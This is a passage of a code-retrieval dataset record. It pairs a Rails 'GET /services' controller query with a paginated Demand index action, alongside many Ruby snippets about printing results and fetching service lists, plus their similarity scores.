\"#{result[:result]}\\n\"\n\t\t\tend if @results != nil\n\n\t\t\tresult_string\n\t\tend", "def results(&block)\n section(:top => 1, :bottom => 0) do\n say \"RESULT:\"\n yield\n end\n end", "def look_pretty(list)\n puts \"Here is your grocery list:\"\n list.each { |item, quantity| puts \"#{item}: #{quantity}\" }\nend", "def printArrayOutput(arrayToPrint , counter)\n \n puts \"After iteration \" + counter.to_s + \":\"\n p arrayToPrint\n\n end", "def gather_results(spec, output, result)\n {\n :arch => RbConfig::CONFIG[\"arch\"],\n :vendor => RbConfig::CONFIG[\"target_vendor\"],\n :os => RbConfig::CONFIG[\"target_os\"],\n :machine_arch => RbConfig::CONFIG[\"target_cpu\"],\n :name => spec.name,\n :version => spec.version,\n :platform => spec.platform,\n :ruby_version => RUBY_VERSION,\n :result => result,\n :test_output => output\n }.to_yaml\n end", "def pretty_list(grocery_list)\r\n puts \"Your Grocery List for next week!\"\r\n grocery_list.each do |item, num|\r\n puts \"#{item} qty #{num}\"\r\n end\r\n \r\nend", "def print_pretty(new_list)\n puts \"Grocery List:\"\n new_list.each do |item, amount|\n \n puts \"#{item}: #{amount}\"\n end\nend", "def body\n # The -2 is because we drop the last line; The last line output by the assert method.\n @test_lines[0..-2] + [\"result = \" + @test_lines[-1].to_s]\n end", "def test_show_rush_result\n assert_output(\"After 2 days, Rubyist 1 found:\n 10 rubies.\n 10 fake rubies.\nGoing home victorious!\\n\"){ @p.show_rush_result(2, 1, [10, 10]) }\n end", "def preetify\n preety_print do |instance|\n instance['users'].each_with_index do |user, index|\n puts \"user_#{index}\".to_s.ljust(30) + user['name'].to_s\n end\n\n instance['tickets'].each_with_index do |ticket, index|\n puts \"ticket_#{index}\".to_s.ljust(30) + ticket['subject'].to_s\n end\n end\n end", "def format_results\n speakers_hash.each_pair do |speaker, lines|\n puts \"#{speaker.titleize}: #{lines}\"\n end\n end", "def pretty_list(list)\n list.each do |grocery_item, qty|\n puts \"#{grocery_item}, quantity: #{qty}\"\n end\nend", "def output_array\n fizz_buzz_check.each do |element|\n puts element\n end\n end", "def output\n puts \"\\n\"\n 0.upto(@order - 1) do |r|\n row_for(@order, r)\n puts \"\\n\\n\"\n end\n end", "def output_junit\n @doc = Ox::Document.new :version => '1.0', encoding: 'UTF-8'\n @testsuites = Ox::Element.new 'testsuites'\n @doc << @testsuites\n sax = JenkinsSax.new self\n Ox.sax_parse sax, ARGF.to_io\n\n xml = Ox.dump @doc, with_xml: true\n puts xml\n rescue StandardError => err\n error! 2, err\n end", "def output_results_table(results={})\n\tputs \"-----------------------------------------\"\n\tputs \"| Type \t | Mean \t | Median \t|\"\n\tputs \"-----------------------------------------\"\n\tresults.each do |label, hash|\n\t\tprint \"| \" + label.ljust(10) + \" | \"\n\t\tprint sprintf(\"%.6f\", hash[:mean]).rjust(10) + \" | \"\n\t\tprint sprintf(\"%.6f\", hash[:median]).rjust(10) + \" | \\n\"\n\tend\n\tputs\nend", "def testOutput\n\t\tputs @health\n\t\tputs @total_mana\n\t\tputs @remaining_mana\n\t\tputs @side\n\t\tp @hand\n\tend", "def report_body\n order_sorted_body.each_with_object([]) do |result, obj|\n rating = rate(result[:last], result[:min], result[:max])\n\n obj << \"#{avg_label} #{result[:avg].to_s.ljust(12)} \" \\\n \"#{min_label} #{result[:min].to_s.ljust(12)} \" \\\n \"#{max_label} #{result[:max].to_s.ljust(12)} \" \\\n \"#{run_label(rating)} #{result[:last].to_s.ljust(12)} \" \\\n \"#{des_label} #{result[:desc]}\\n\"\n end.join\n end", "def summarize_suite(suite, tests); end", "def summarize_suite(suite, tests); end", "def display_results\n print_header\n print_detailed_report\n write_csv_report\n display_status\n end", "def report_results(t)\n say \"Finished in #{t.real.to_s[0..6]} seconds\"\n res = \"#{Result.list.length} tests\"\n color = :green\n res = \"#{res} #{Result.failures.length} Failures\" and color = :red unless Result.failures.empty?\n res = \"#{res} #{Result.errors.length} Errors\".yellow and color = :yellow unless Result.errors.empty?\n say res.send(color)\n end", "def pretty_list(hash)\r\n puts \"Grocery List:\"\r\n puts \" \"\r\n hash.each do |item_name, quantity|\r\n puts \"#{item_name}: #{quantity}\"\r\n end\r\nend", "def list_artists\n Artist.all.sort{|a, b| a.name <=> b.name}.each_with_index do |a, i|\n puts \"#{i+1}. #{a.name}\"\n#ex:expect($stdout).to receive(:puts).with(\"1. Action Bronson\")\n end\n end", "def outputs data\n data.each do |data|\n #puts \"DATA: #{data.inspect}\"\n #puts \" data mapping: #{data.map}\"\n #puts \"-----\"\n data.output\n end\nend", "def print_details( result_counts, score )\n puts ('=' * 10) << \"\\n\"\n @groups.each_with_index { |group, index| group.each { |row| puts \"#{row} Group \" << (index + 1).to_s } }\n puts '-' * (@groups[0][0].length * 3)\n puts \"#{result_counts} Score\"\n puts \"\\nTotal Score: #{score}\\n\"\n end", "def output_list (g)\n g.each do |i|\n p \"* \" + i\n end\nend", "def print_pretty(grocery_list)\r\n\tgrocery_list.each do |item, quantity| \r\n\t\tputs \"you bought #{quantity} #{item}\"\r\n\tend\r\nend", "def show\n @test_results = @test_run.test_results\n end", "def test_display_one\r\n assert_output(\"After 2 days, Rubyist #1 found:\\n\\t1 ruby.\\n\\t1 fake ruby.\\n\") { @g.display_rubies(1, 1, 1, 2) }\r\n end", "def print_list\n @list.each { |item, qty| puts \"#{qty} #{item}\" }\n end", "def print_list\n @list.each { |item, qty| puts \"#{qty} #{item}\" }\n end" ]
[ "0.6464033", "0.643426", "0.634009", "0.6297308", "0.62467283", "0.62467283", "0.62330604", "0.6203041", "0.61640614", "0.6148228", "0.61408293", "0.61239874", "0.61081845", "0.61047155", "0.60518044", "0.60356224", "0.60198784", "0.6013839", "0.60074395", "0.5974336", "0.5965246", "0.5919734", "0.5912587", "0.589703", "0.5880525", "0.5863943", "0.5848702", "0.5843158", "0.5838148", "0.5832599", "0.58262306", "0.5815557", "0.5815557", "0.5800142", "0.579966", "0.5775411", "0.57682794", "0.5760483", "0.57518905", "0.57409954", "0.57409954", "0.5728579", "0.57169867", "0.5706494", "0.5668142", "0.56670076", "0.5654351", "0.56519634", "0.56470895", "0.56126505", "0.5606521", "0.56061244", "0.5605596", "0.55945784", "0.55730444", "0.5548059", "0.5533394", "0.5531744", "0.55316377", "0.5527534", "0.55246145", "0.55246145", "0.55200386", "0.5508794", "0.5506508", "0.54985756", "0.54983234", "0.5493115", "0.5491568", "0.54833883", "0.54800534", "0.5473507", "0.5469473", "0.5468358", "0.54649514", "0.5464032", "0.546054", "0.54519546", "0.54459816", "0.54437166", "0.544207", "0.54359734", "0.5433393", "0.54307693", "0.54293364", "0.54259014", "0.5424529", "0.5424082", "0.5424082", "0.5418793", "0.5416747", "0.5415135", "0.5414536", "0.5406444", "0.5402924", "0.54012483", "0.5399244", "0.53939664", "0.53850704", "0.53848505", "0.53848505" ]
0.0
-1
GET /services GET /services.json
def index if params[:processed].nil? @demands = Demand.scoped( :include => [:svns, :vms, :books, :enquiries], :order => "created_at DESC").page(params[:page]).per(10) else @demands = Demand.scoped( :include => [:svns, :vms, :books, :enquiries], :order => "created_at DESC").where(:processed => false).page(params[:page]).per(15) end respond_to do |format| format.html # index.html.erb format.json { render json: @demands } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n endpoint(get(services_url).body)\n end", "def services\n params = { command: 'account_services' }\n get('/json.php', params)\n end", "def list_services\n response = @http_client.get(prefix_path('services'))\n Response.new(response)\n end", "def services\n response = JSON.parse(@client.get(\"/api/v1/services\").body)\n return response[\"services\"] || response\n end", "def index\n @services = Service.find_all_by_user_id(current_user.account_id)\n\n respond_to do |format|\n format.html # index.html.haml\n format.json { render json: @services }\n end\n end", "def services(query = {})\n get('service', query)\n end", "def index\n @services = @page.services.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @services }\n end\n end", "def services\n services = @saloon.services\n\n render_success(data: services, each_serializer: ServiceSerializer)\n end", "def show\n render json: @service\n end", "def get_services\n reply = @client.call(:get_services)\n\n data = reply.body.dig(:get_services_response,\n :get_services_result,\n :array_of_string)\n data = check_if_data_exists(data)\n\n data.map do |attrs|\n {\n id: Integer(attrs[:string][0], 10),\n name: attrs[:string][1]\n }\n end\n end", "def show\n @service = Service.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service }\n end\n end", "def service(id)\n request :get, \"/services/#{id}\"\n end", "def index\n @services = Service.all.order('created_at DESC')\n render json: @services\n end", "def index\n @service_users = ServiceUser.all\n render json: @service_users\n end", "def show\n @service = Service.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service }\n end\n end", "def show\n @service = Service.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service }\n end\n end", "def show\n @service = Service.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service }\n end\n end", "def get(service = [])\n begin \n url = API_ENDPOINT + service.join('/')\n hdrs = auth_headers()\n puts \"Headers: #{hdrs}\"\n \n response = RestClient.get(url, hdrs)\n raise \"request failed with #{response.code}\" unless response.code == 200\n \n json_hash = JSON.parse(response)\n \n rescue RestClient::Exception => e\n error_hash = JSON.parse(e.response)\n end\n end", "def service(service_id)\n response = @client.get(\"/api/v1/services/#{service_id}\")\n return JSON.parse(response.body)\n end", "def show\n @service = current_user.pro.services.find(params[:id])#Service.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service }\n end\n end", "def index\n @per_page_options = %w{ 21 51 99 }\n respond_to do |format|\n format.html # index.html.erb\n format.xml # index.xml.builder\n format.atom # index.atom.builder\n format.json { render :json => ServiceCatalographer::Api::Json.index(\"services\", json_api_params, @services).to_json }\n format.bljson { render :json => ServiceCatalographer::Api::Bljson.index(\"services\", @services).to_json }\n end\n end", "def list_services\n @services\n end", "def get_json()\n\n http = Net::HTTP.new(STATUS_URI.host, STATUS_URI.port)\n http.use_ssl = false\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Get.new(\"/api/services.json\")\n\n response = http.request(request)\n JSON.parse(response.body)\nend", "def index\n @services = Service.all\n end", "def index\n @services = Service.all\n end", "def index\n @services = Service.all\n end", "def index\n @services = Service.all\n end", "def index\n @services = Service.all\n end", "def index\n @services = Service.all\n end", "def index\n @services = Service.all\n end", "def index\n @services = Service.all\n end", "def index\n @services = Service.all\n end", "def show\n #@service is already loaded and authorized\n\n respond_to do |format|\n format.html # show.html.haml\n format.json { render json: @service }\n end\n end", "def list_services\n services.map do |service|\n Hashie::Mash.new({\n service: service,\n display_name: service_display_name(service),\n id: service_id(service)\n })\n end\n end", "def services\n\t\tService.find(:all)\n\tend", "def list_services(client, args, options)\n response = client.get(RESOURCE_PATH)\n\n if CloudClient::is_error?(response)\n [response.code.to_i, response.to_s]\n else\n #[0,response.body]\n if options[:json]\n [0,response.body]\n else\n array_list = JSON.parse(response.body)\n SERVICE_TABLE.show(array_list['DOCUMENT_POOL']['DOCUMENT'])\n 0\n end\n end\nend", "def services\n Rails.logger.debug 'Inside service'\n @result_json = {}\n begin\n action = params[:do]\n case action\n when 'login'\n Rails.logger.debug 'Processing login'\n @result_json = login\n when 'register'\n Rails.logger.debug 'Processing registration'\n @result_json = register\n when 'save_linkedin_profile'\n Rails.logger.debug 'Saving Linkedin Profile'\n @result_json = save_linkedin_profile\n when 'get_dim_data'\n dim_type = params[:dim_type]\n Rails.logger.debug \"Getting dimension data - #{dim_type}\"\n @result_json = get_dim_data (dim_type)\n when 'get_filter_data'\n filter_data = params[:filter_data]\n columns = params[:columns]\n Rails.logger.debug \"Getting Filter data - #{filter_data}\"\n @result_json = get_filter_data(filter_data, columns)\n else\n Rails.logger.warn 'Unsupported service call'\n end\n rescue\n Rails.logger.error \"Error in service method #{$!}\"\n ensure\n render json: @result_json\n end\n end", "def acl_services\n authorize!(:view_service_acl)\n\n validate_params({\n :client_id => [:required]\n })\n\n client = get_client(params[:client_id])\n\n services = {}\n client.wsdl.each do |wsdl|\n wsdl.service.each do |service|\n services[service.serviceCode] = {\n :service_code => service.serviceCode,\n :title => service.title\n }\n end\n end\n\n services_sorted = services.values.sort do |x, y|\n x[:service_code] <=> y[:service_code]\n end\n\n render_json(services_sorted)\n end", "def services\n\n end", "def find_service(id)\n self.class.get(\"/services/#{id}.json?apikey=#{apikey}\")\n end", "def services\n ret = []\n offset = 0\n loop do\n cur = get(\"services?limit=#{PAGINATION_SIZE}&offset=#{offset}\")\n offset += PAGINATION_SIZE\n ret.push *cur.services\n break if offset >= cur.total\n end\n ret\n end", "def get_services_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PricesApi.get_services ...'\n end\n # resource path\n local_var_path = '/v1/services'\n\n # query parameters\n query_params = {}\n query_params[:'provider_id'] = opts[:'provider_id'] if !opts[:'provider_id'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Services')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PricesApi#get_services\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def services\n begin\n resp = _get build_agent_url('services')\n rescue\n logger.warn('Unable to request all the services on this through the HTTP API')\n return nil\n end\n # Consul returns id => ConsulServiceObjects.\n s_hash = JSON.parse(resp)\n s_hash.keys.map { |n| Consul::Model::Service.new.extend(Consul::Model::Service::Representer).from_hash(s_hash[n]) }\n end", "def index\n @services = Service.all\n @services_hash = @services.map do |s|\n {service: s, medium: s.medium.map { |media|\n media.as_json.merge({ media: url_for(media) })\n }, user: s.user.username, categories: s.categories}#, galleries: s.galleries\n \n end\n render json: @services_hash\n end", "def services\n end", "def service\r\n channels = Channel.where(service: channel_params[:service])\r\n render json: channels\r\n end", "def index\n @title = \"Services - JC Auto Restoration, Inc.\"\n @services = Service.all\n end", "def get_services()\n return get_request(address(\"/OS-KSADM/services\"), token())\n end", "def url\n resource.url + '/services'\n end", "def index\n @service = Service.all()\n end", "def index\n @request_services = RequestService.all\n end", "def show\n @online_service = OnlineService.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @online_service }\n end\n end", "def get_services(opts = {})\n data, _status_code, _headers = get_services_with_http_info(opts)\n data\n end", "def index\n @scheduled_services = ScheduledService.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @scheduled_services }\n end\n end", "def index\n duration_hash = {}\n \n sub_sub_category = OneclickRefernet::SubSubCategory.find_by(code: params[:sub_sub_category])\n sub_sub_category_services = sub_sub_category.try(:services) || []\n\n # Base service queries on a collection of UNIQUE services\n services = OneclickRefernet::Service.confirmed.where(id: sub_sub_category_services.pluck(:id).uniq)\n \n lat, lng = params[:lat], params[:lng]\n meters = params[:meters].to_f\n limit = params[:limit] || 10\n \n if lat && lng\n meters = meters > 0.0 ? meters : (30 * 1609.34) # Default to 30 miles\n \n services = services.closest(lat, lng)\n .within_x_meters(lat, lng, meters)\n .limit(limit) \n duration_hash = build_duration_hash(params, services)\n else\n services = services.limit(limit)\n end\n \n render json: services.map { |svc| service_hash(svc, duration_hash) }\n\n end", "def index\n @services = Service.excluding_archived.order(:name).paginate(:page => params[:page])\n\n respond_to do |format|\n format.html\n format.json { render :json => Service.all }\n end\n end", "def show\n render json: @service_user\n end", "def index\n @service_locations = ServiceLocation.all\n render json: @service_locations\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @service_features }\n end\n end", "def list_services_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ServiceApi.list_services ...'\n end\n # unbox the parameters from the hash\n if @api_client.config.client_side_validation && !opts[:'per_page'].nil? && opts[:'per_page'] > 100\n fail ArgumentError, 'invalid value for \"opts[:\"per_page\"]\" when calling ServiceApi.list_services, must be smaller than or equal to 100.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'per_page'].nil? && opts[:'per_page'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"per_page\"]\" when calling ServiceApi.list_services, must be greater than or equal to 1.'\n end\n\n allowable_values = [\"ascend\", \"descend\"]\n if @api_client.config.client_side_validation && opts[:'direction'] && !allowable_values.include?(opts[:'direction'])\n fail ArgumentError, \"invalid value for \\\"direction\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/service'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'per_page'] = opts[:'per_page'] if !opts[:'per_page'].nil?\n query_params[:'sort'] = opts[:'sort'] if !opts[:'sort'].nil?\n query_params[:'direction'] = opts[:'direction'] if !opts[:'direction'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'Array<ServiceListResponse>'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['token']\n\n new_options = opts.merge(\n :operation => :\"ServiceApi.list_services\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ServiceApi#list_services\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n services = accessible_services.includes(:proxy, :account).order(:id).paginate(pagination_params)\n respond_with(services)\n end", "def index\n services = accessible_services.includes(:proxy, :account).order(:id).paginate(pagination_params)\n respond_with(services)\n end", "def all(options = {})\n out = xml_run build_command('services', options.merge(:get => XML_COMMANDS_GET))\n convert_output(out.fetch(:stream, {}).fetch(:service_list, {}).fetch(:service, []), :service)\n end", "def index\n @service_schedules = ServiceSchedule.all\n\n render json: @service_schedules\n end", "def show\n respond_to do |format|\n format.json { render json: @service_call }\n end\n end", "def index\n @api_docs_services = api_docs_services.all\n respond_with(@api_docs_services)\n end", "def index\n @service_categories = ServiceCategory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @service_categories }\n end\n end", "def index\n @service_records = ServiceRecord.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @service_records }\n end\n end", "def show\n @services = Service.where(:user_id => @user[:id]).all\n end", "def services\n\tend", "def show\n @service_type = ServiceType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service_type }\n end\n end", "def index\n @peticion_servicio_tis = Peticion::ServicioTi.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @peticion_servicio_tis }\n end\n end", "def index\n respond_to do |format|\n format.html { disable_action }\n format.xml # index.xml.builder\n format.json { render :json => ServiceCatalographer::Api::Json.index(\"rest_services\", json_api_params, @rest_services).to_json }\n end\n end", "def get_all(options = {})\n custom_params = options[:dc] ? use_named_parameter('dc', options[:dc]) : nil\n ret = send_get_request(@conn, ['/v1/catalog/services'], options, custom_params)\n OpenStruct.new JSON.parse(ret.body)\n end", "def show\n render json: @end_service, status: :ok\n end", "def index\n @services = Service.where(user: current_user.building.users)\n if params[:search].present?\n @services = @services.where(\"description = ? OR more_information = ?\", params[:search], params[:seach])\n end\n respond_to do |format|\n format.html \n format.json do \n render json: {\n services: @services.map{|s|s.attributes.merge(image: url_for(s.user.profile.pic), ownerId: s.user.id)}\n }\n end\n end\n end", "def query_for_services(type = nil, pool = nil)\n\n raise \"Type must not be nil if pool is nil\" if type.nil? && !pool.nil?\n\n @discovery_urls.each do |discovery_url|\n resource = \"/v1/service\"\n resource += \"/#{type}\" if ! type.nil?\n resource += \"/#{pool}\" if ! pool.nil?\n\n service_uri = URI.parse(discovery_url).merge(resource)\n\n @logger.debug(\"Get Request: #{service_uri.to_s}\")\n\n begin\n response = @client.get(service_uri.to_s, nil, nil)\n\n if response.status >= 200 && response.status <= 299\n service_data = JSON.parse(response.body)\n\n return service_data\n end\n\n @logger.error(\"#{service_uri.to_s}: Response Status #{response.status}\")\n @logger.error(response.body)\n\n rescue\n @logger.error(\"#{service_uri.to_s}: #{$!}\")\n end\n\n end\n\n raise \"Failed to get all services from any of [ #{@discovery_urls.join(\",\")} ]\"\n\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml # index.xml.builder\n format.json { render :json => ServiceCatalographer::Api::Json.index(\"service_providers\", json_api_params, @service_providers).to_json }\n format.bljson { render :json => ServiceCatalographer::Api::Bljson.index(\"service_providers\", @service_providers).to_json }\n end\n end", "def show\n @service = Service.find(params[:id])\n end", "def get_all options=nil\n url = [\"/v1/catalog/services\"]\n url += check_acl_token\n url << use_named_parameter('dc', options[:dc]) if options and options[:dc]\n begin\n ret = @conn.get concat_url url\n rescue Faraday::ClientError\n raise Diplomat::PathNotFound\n end\n\n return OpenStruct.new JSON.parse(ret.body)\n end", "def main_services\n main_co.services\n end", "def index\n @serviceordemservices = Serviceordemservice.all\n end", "def show\n @services = Service.where(user: current_user.building.users)\n @my_posts = @service.service_posts.select{|p| p.user == current_user }\n respond_to do |format| \n format.html \n format.json do \n render json: @services\n end \n end \n \n end", "def index\n @services = Service.where search_params\n respond_with @services if stale? @services\n end", "def index\n @services = current_user.services.map{|s| s.becomes(s.name.constantize)}\n end", "def show\n @service = Service.find(params[:id])\n end", "def show_service(client, args, options)\n response = client.get(\"#{RESOURCE_PATH}/#{args[0]}\")\n\n if CloudClient::is_error?(response)\n [response.code.to_i, response.to_s]\n else\n #[0,response.body]\n if options[:json]\n [0,response.body]\n else\n str=\"%-20s: %-20s\"\n str_h1=\"%-80s\"\n\n document_hash = JSON.parse(response.body)\n template = document_hash['DOCUMENT']['TEMPLATE']['BODY']\n\n CLIHelper.print_header(str_h1 % \"SERVICE #{document_hash['DOCUMENT']['ID']} INFORMATION\")\n\n puts str % [\"ID\", document_hash['DOCUMENT']['ID']]\n puts str % [\"NAME\", document_hash['DOCUMENT']['NAME']]\n puts str % [\"USER\", document_hash['DOCUMENT']['UNAME']]\n puts str % [\"GROUP\",document_hash['DOCUMENT']['GNAME']]\n\n puts str % [\"STRATEGY\", template['deployment']]\n puts str % [\"SERVICE STATE\", Service.state_str(template['state'])]\n puts str % [\"SHUTDOWN\", template['shutdown_action']] if template['shutdown_action']\n\n puts\n\n CLIHelper.print_header(str_h1 % \"PERMISSIONS\",false)\n\n [\"OWNER\", \"GROUP\", \"OTHER\"].each { |e|\n mask = \"---\"\n mask[0] = \"u\" if document_hash['DOCUMENT']['PERMISSIONS'][\"#{e}_U\"] == \"1\"\n mask[1] = \"m\" if document_hash['DOCUMENT']['PERMISSIONS'][\"#{e}_M\"] == \"1\"\n mask[2] = \"a\" if document_hash['DOCUMENT']['PERMISSIONS'][\"#{e}_A\"] == \"1\"\n\n puts str % [e, mask]\n }\n\n puts\n\n template['roles'].each {|role|\n CLIHelper.print_header(\"ROLE #{role['name']}\", false)\n\n puts str % [\"ROLE STATE\", Role.state_str(role['state'])]\n puts str % [\"PARENTS\", role['parents'].join(', ')] if role['parents']\n puts str % [\"VM TEMPLATE\", role['vm_template']]\n puts str % [\"CARDINALITY\", role['cardinality']]\n puts str % [\"MIN VMS\", role['min_vms']] if role['min_vms']\n puts str % [\"MAX VMS\", role['max_vms']] if role['max_vms']\n puts str % [\"COOLDOWN\", \"#{role['cooldown']}s\"] if role['cooldown']\n puts str % [\"SHUTDOWN\", role['shutdown_action']] if role['shutdown_action']\n\n puts \"NODES INFORMATION\"\n NODE_TABLE.show(role['nodes'])\n\n if !role['elasticity_policies'].nil? && role['elasticity_policies'].size > 0 || !role['scheduled_policies'].nil? && role['scheduled_policies'].size > 0\n puts\n puts \"ELASTICITY RULES\"\n\n if role['elasticity_policies'] && role['elasticity_policies'].size > 0\n puts\n# puts \"ELASTICITY POLICIES\"\n CLIHelper::ShowTable.new(nil, self) do\n column :ADJUST, \"\", :left, :size=>12 do |d|\n adjust_str(d)\n end\n\n column :EXPRESSION, \"\", :left, :size=>48 do |d|\n if !d['expression_evaluated'].nil?\n d['expression_evaluated']\n else\n d['expression']\n end\n end\n\n column :'EVALS', \"\", :right, :size=>5 do |d|\n if d['period_number']\n \"#{d['true_evals'].to_i}/#{d['period_number']}\"\n else\n \"-\"\n end\n end\n\n column :PERIOD, \"\", :size=>6 do |d|\n d['period'] ? \"#{d['period']}s\" : '-'\n end\n\n column :COOL, \"\", :size=>5 do |d|\n d['cooldown'] ? \"#{d['cooldown']}s\" : '-'\n end\n\n default :ADJUST, :EXPRESSION, :EVALS, :PERIOD, :COOL\n end.show([role['elasticity_policies']].flatten, {})\n end\n\n if role['scheduled_policies'] && role['scheduled_policies'].size > 0\n puts\n# puts \"SCHEDULED POLICIES\"\n CLIHelper::ShowTable.new(nil, self) do\n column :ADJUST, \"\", :left, :size=>12 do |d|\n adjust_str(d)\n end\n\n column :TIME, \"\", :left, :size=>67 do |d|\n if d['start_time']\n Time.parse(d['start_time']).to_s\n else\n d['recurrence']\n end\n end\n\n default :ADJUST, :TIME\n end.show([role['scheduled_policies']].flatten, {})\n end\n end\n\n puts\n }\n\n puts\n\n CLIHelper.print_header(str_h1 % \"LOG MESSAGES\",false)\n\n if template['log']\n template['log'].each { |log|\n t = Time.at(log['timestamp']).strftime(\"%m/%d/%y %H:%M\")\n puts \"#{t} [#{log['severity']}] #{log['message']}\"\n }\n end\n\n 0\n end\n end\nend", "def index\n prepare_search\n @services = paginate_services(@services, RECORDS_PER_PAGE, params[:page])\n render partial: '/partials/service_list' if request.xhr?\n end", "def show\n render json: @service_history\n end", "def request(service, method = :get, payload = {})\n res = Infosimples::Data::HTTP.request(\n url: BASE_URL.gsub(':service', service),\n http_timeout: timeout,\n method: method,\n payload: payload.merge(\n token: token,\n timeout: timeout,\n max_age: max_age,\n header: 1\n )\n )\n JSON.parse(res)\n end", "def get_services(nickname = nil)\n nickname ||= @nickname\n agent = get_login_agent()\n\n services_uri = ROOT_URI + (\"/%s/services\" % URI.encode(nickname))\n parser = agent.get(services_uri).parser\n\n active_servicelist = parser.xpath(\"//*[@class='active']//ul[@class='servicelist']\")\n\n if !active_servicelist.empty?\n services = active_servicelist.xpath(\"./li/a\").map { |a|\n {\n 'service' => a['class'].split.find { |a_class|\n a_class != 'l_editservice' && a_class != 'service'\n },\n 'serviceid' => a['serviceid'].to_s,\n }\n }\n profile_uri = ROOT_URI + (\"/%s\" % URI.encode(nickname))\n agent.get(profile_uri).parser.xpath(\"//div[@class='servicespreview']/a\").each_with_index { |a, i|\n href = (profile_uri + a['href'].to_s).to_s\n break if profile_uri.route_to(href).relative?\n services[i]['profileUrl'] = href\n }\n else\n services = parser.xpath(\"//ul[@class='servicelist']/li/a\").map { |a|\n {\n 'service' => a['class'].split.find { |a_class|\n a_class != 'service'\n },\n 'profileUrl' => (services_uri + a['href'].to_s).to_s,\n }\n }\n end\n services\n end", "def parse_services(json)\n Hash.new.tap do |hsh|\n json.map do |name, params|\n if params[\"status\"] == \"active\"\n hsh[name] = params[\"url\"]\n end\n end\n end\n end", "def index\n apis = site_account.api_docs_services\n .published\n .with_system_names((params[:services] || \"\").split(\",\"))\n .select{ |api| api.specification.swagger_1_2? }\n\n respond_with({\n swaggerVersion: \"1.2\",\n apis: apis.map!{ |service| swagger_spec_for(service) },\n basePath: \"#{request.protocol}#{request.host}\"\n })\n end", "def services\n @services ||= ApiFactory.new 'Repos::Services'\n end", "def index\n @admin_services = Admin::Service.all.order(sort_column + \" \" + sort_direction)\n respond_to do |format|\n format.html { @admin_services = [] }\n format.json { render \"index\" }\n format.xml { render xml: @admin_services }\n end\n end", "def services\n unless @services\n rows = database.view(VIEW_NAME, reduce: false, key: [1, name])['rows'] rescue []\n ids = rows.map {|row| row['value'] }\n @services = Service.all.keys(ids).to_a\n end\n @services\n end", "def ajax_service_point\n sp_id = params['sp_id']\n url = ENV['OKAPI_URL']\n tenant = ENV['OKAPI_TENANT']\n sp = CUL::FOLIO::Edge.service_point(url, tenant, folio_token, sp_id)\n render json: sp\n end", "def index\n respond_with(accessible_services)\n end", "def set_service\n begin\n @service = Service.find(params[:id])\n rescue\n render json: {error: \"Service not found\"}, status: 404\n end\n end", "def services\n @services ||= []\n end" ]
